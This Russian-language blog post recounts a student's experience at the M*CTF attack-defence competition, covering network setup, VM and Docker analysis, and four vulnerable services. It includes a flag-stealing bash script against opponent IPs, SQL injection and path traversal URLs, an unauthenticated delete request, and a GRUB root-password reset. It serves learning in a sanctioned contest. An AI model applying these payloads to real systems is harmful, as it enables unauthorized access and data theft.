Доброго времени суток! В этом небольшом опусе я хотел бы глазами участника рассказать как проходят соревнования CTF типа attack-defence и, в частности, осветить минувшее соревнование m*ctf. Но перед всем этим хочется поблагодарить свой Университет Иннополис за возможность побывать на этом (и множестве других) мероприятий.
Под катом как организационные, так и технические детали прошедших соревнований. И конечно же много-много фотографий!
CTF
CTF — это командные соревнования по компьютерной безопасности и делятся на два вида.
Первый (он же jeopardy или task-based) — набор независимых заданий разнообразного характера. Как правило выделяют основные категории: криптография, стеганография, реверс, форензика, админка. Кто больше наберет очков за отведенное время — тот и молодец (пример недавнего события — CTF от Bi.Zone)
Второй тип (он же attack-defence) — куда более интересное и редкое событие. Каждой команде выдается уязвимый образ (у всех команд он идентичен), который содержит в себе несколько сервисов. Каждый из таких сервисов каким-либо образом работает со строками, которые зовутся флагами. Как и следует из названия участникам необходимо их утаскивать через уязвимости в сервисах. А вдобавок к этому и защищать свои собственные. Подобным соревнованием и было M*CTF.
M*CTF
M*CTF — это соревнования для студентов Московских ВУЗов, которые проводятся уже в 3 раз, на этот раз на базе МТУСИ. По удачному стечению обстоятельств, мне удалось попасть в гостевую команду и насладиться соревнованиями.
День лекций
Первый день был омрачен ранним подъемом (впрочем второй не сильно отличился). В этот день проходила регистрация команд и, что самое главное, читались лекции (кстати открытые для всех) от партнеров. И серьезную обстановку организаторы попытались развеять небольшим конкурсом. Лекционная программа выглядела примерно так:
Спасибо ptsecurity, Infotecs, Group-IB и докладчикам других организаций.
День соревнований
Сеть
Перед началом соревнований нам выдали конфиги сетки для команды с номером N (моя была 21, далее она и будет использоваться):
- Сетка: 10.60.N.1/24
- Шлюз: 10.60.N.1
- Сервисы должны быть доступны по: 10.60.N.2
- Доступные для других команд IP: 10.60.N.0/25
- Недоступные для других команд IP: 10.60.N.128/25
- Хост для проверки флагов: 10.10.40.2:8080
Затем началось самое интересное — начали раздавать флешки с образами. По иронии судьбы примерно 90% флешек содержали битые архивы, поэтому чуть позже было выложен образ на гуглдок. CTF не был бы CTF-ом, если бы на них не случались подобные казусы.
Так как я играл практически один делегировать задачи было некому, поэтому все действия ниже следуют выполнять паралельно разными членами команды. Тогда существует весьма небольшой шанс, что вы все успеете :)
Первые шаги
Первое, чем стоит заняться — это конечно залезть в образ и посмотреть, что же там лежит. Но, увы, до меня он добрался очень поздно, поэтому первые приготовления были связаны с сеткой. Ничего магического и сложного в этом нет, но проблема встает, когда нужно "здесь, сейчас и чтобы работало", а маны под вековым слоем пыли уже давно забыты.
ip a a 10.60.21.135/24 dev eth0
ip r a default via 10.60.21.1 dev eth0
В целом это все, главное еще не забыть выключить dhcp клиент (либо поднять свой), чтобы он не сбрасывал настройки. И, конечно же, стоит прописать ns-сервера, чтобы по-человечески ходить в интернет:
echo -e "nameserver 8.8.8.8\nnameserver 8.8.4.4" >/etc/resolv.conf
То, с чего стоило начать
Спустя какое-то время ко мне пришел заветный образ mctf.ova и я счастливо открыл его в виртуалке. Подопытным оказался 64-битный Debian, жаждущий лишь 1 GB RAM. Первым флангом обороны появляется синенький экранчик с GRUB-ом:
Пароли от пользователей в этом случае не оговаривались, но, благо, у нас обычный grub, а значит мы без особого труда можем изменить запись загрузчика. После загрузки меняем пароль от root-а и перезагружаемся, не забывая предварительно добавить запуск /bin/bash:
Дальше имеет смысл установить сетевой адаптер типа Bridged и сконфигурировать сеть внутри образа.
Вообще тут стоит отметить, что можно немного усложнить себе жизнь и по-честному сделать NAT-адаптер с правильным форвардингом и фильтрацией, и еще накрутить на шлюз-посредник какой-нибудь IDF, но на самом деле это редко бывает необходимо.
Внутри самого образа сетка сконфигурирована для 4 команды, так что ее нужно подправить:
ip a f dev eth0
ip a a 10.60.21.2/24 dev eth0
ip r a default via 10.60.21.1 dev eth0
И еще немного про сеть
Прежде чем перейти к самому интересному, стоит еще упомянуть чудесную возможность нахождения уязвимостей — анализ сетевого трафика с помощью wireshark-а или любого другого известного вам инструмента. Как вы наверное понимаете можно мониторить трафик, который идет к вам и в нем скорее всего будут запросы от организаторов и от соперников.
Меня хватило на 4 серии дампов (~3гб), но, увы, один из них был безвозвратно утерян из-за незапланированной перезагрузки (надеюсь там случайно не слиты пароли :). Лично я предпочитаю запускать GUI и периодически туда заглядывать, хотя можно и обойтись например такой командой, если жалко память:
tshark -i eth0 -w traf1.pcap
Пожалуй стоить автоматизировать процесс создания новых файлов, но об этом нужно было задуматься заранее. В процессе самой игры обычно не до этого.
Помимо нахождения уязвимостей в трафике можно еще анализировать пакеты организаторов (в начале игры, как правило от них идет основной трафик). Тут, к примеру, можно определить User-Agent организаторов и тем самым можно фильтровать остальные пакеты от игроков. Тут же можно определить формат флага, а также на какие порты и по какому протоколу он прилетает.
Глядим в образы
И наконец самое интересное! Сервисов у нас оказалось всего 4 штуки и крутятся они в контейнерах докера. Посмотреть информацию о имеющихся образах и крутящихся контейнеров можно например так:
docker ps && docker images
Тут мы можем заметить 4 сервиса: voicemail(2222 порт, в списке почему-то он не показывается), drdre (3333 порт), mis(8080 порт), poke(8090 порт).
Чтобы проанализировать сервис нам нужно зайти в контейнер докера, а затем найти и скачать оттуда необходимые файлы.
docker exec -it mctf-<service> /bin/bash
Небольшая заметка перед обзором сервисов: разбора задач после соревнований не было и дальнейшее описание сервисов — это то, что я успел нарыть за те 8 часов и то, что смог узнать в процессе общения с другими командами после игры. А значит в каждом из сервисов вероятнее всего еще есть (и много!) эксплуатируемых уязвимостей, так что я был бы крайне признателен за дополнения.
Voicemail
Первый сервис служит для отправки голосовых сообщений с помощью SIP на основе библиотеки freeswitch и все низкоуровневые вещи происходят именно там. Библиотека установлена достаточно свежая и в открытом доступе под нее готовых эксплойтов нет, так что ее изучение показалось мне потерей времени.
Веб-запросы обрабатываются одним файлом voicemail.py, который является простеньким сервером на Flask. Так у всех сервисы одинаковы, значит и параметр app.config['DEBUG'] = True у всех выставлен и секретный ключ тот же.
Еще занимательно, что уже упомянутая библиотека создает /var/www/voicemail/static/freeswitch.log, которая не обрабатывается отдельно в voicemail.py. Почему это важно? В этот лог должны попадать флаги (по словам других участников), хотя из дампов трафика и запросов к сервису других команд мне так и не удалось найти.
DrDre
Второй сервис представляет из себя монструозный (хотя полезных файлов там не так уж и много) Tomcat-server. Он выступает в роли сайта антивирусной компании. С него можно скачать Dr.Dre антивирус либо проверить малварь аналогично virustotal. Вероятнее всего после отправки этот файл запускался антивирусом, с помощью которого можно было получить какое-нибудь злополучный RCE.
Это собственно и был один из таких сервисов, уязвимость к которым я обнаружил в трафике. Запросы шли на http://10.60.21.2:3333/stat?debug=true, недолго думая, заходим туда и видим (или не видим, у вас же нет флагов :) строки подозрительно напоминающие флаг. Небольшой скрипт для сдачи флагов мог выглядить к примеру вот так:
#!/bin/bash
for i in $(seq 1 20);
do
wget -q "http://10.60.$i.2:3333/stat?debug=true" -O file --timeout=2
for i in $(egrep -o "[a-zA-Z0-9]{40}=" file);
do
echo $i | nc 10.10.40.2 8080 | grep -i "input flag"
sleep 1
done
done
MIS (aka Private Messanger)
Третий сервис — это php-сервер с низкоуровневым общением с бд через голые сокеты. Он позволяет зашифровать текст с помощью картинки 100х100px. Ключ достается из младших битов R-канала, итого выходит ключ может быть до 10000 бит. Шифротекст выходит с помощью исключающего или между флагом, заранее известной солью и ключа. Пробовал смотреть примеры ключей, но, увы, выглядело будто они генерировались случайно. Хотя одна неподтвержденная и не опровергнутая догадка все таки была: вполне вероятно, что ключи могли использоваться для всех команд одни и те же. Тогда при знании соли и ключа можно было получить флаг.
Первая атака шла типа DoS и выполнялась она весьма просто. При запросе на удаления сообщения (флага) проверялось лишь наличие пароля, а не его корректность. Итого запросом вида GET /delete.php?id=<id>&pass=0&ask=Y можно было удалить флаги соперника и тем самым заставить его терять драгоценные очки.
Вторая атака шла на инжект запросов к mysql через голые сокеты. Запрос в сервисе шел следующим образом: P\t999\tservice1\ttext\tPRIMARY\tid,pass,text\n999\t=\t1\t$_GET[id]\n, тем самым можно было подобрать строку и получить полный доступ к бд.
Poke
Последний сервис также реализован на php. В нем предлагается пользователю выбрать покемона и бродить по карте в поисках сражений. После определенного количества побед отправляется флаг. Этот сервис видимо оказался самым дырявым из всех. На самом деле бои можно проводить и не встречая соперника, достаточно лишь знать его ник. Одна из уязвимостей это тривиальных sqli везде, где только можно.
К примеру запрос: /battle.php?to=qzqzqqz'%20union%20select%20username%20from
%20users%20limit%2012345,1%20--%201 выдаст имя пользователя под номером 12345. Далее по запросу "/class/database/users/<nick>/flag.jpg" достаем нужный флаг. Можно было поступить еще проще: запрос "/class/database/users.db" выдавал целую sqlite базу, откуда можно помимо списка пользователей достать еще хэши паролей и много других интересностей. Но если вдруг хочется просто поиграть, да не с кем, то можно просто заходить на /battle.php?to=../users/
И еще пару слов про окончание
За час до конца соревнования (намеренно) закрылся доступ к таблице с очками, и тем самым, сохранялась интрига кто же все таки победит. Было крайне неожиданно увидеть на первом месте команду из ВШЭ, которая до этого занимала 2 место. И конечный скорборд по-хакерски, в консольки (а не потому, что упал сервер):
Хочется выразить огромную благодарность комьюнити ctfnews за поддержку самих соревнований и за фоточки. Остальные, кстати, можно найти в альбоме вк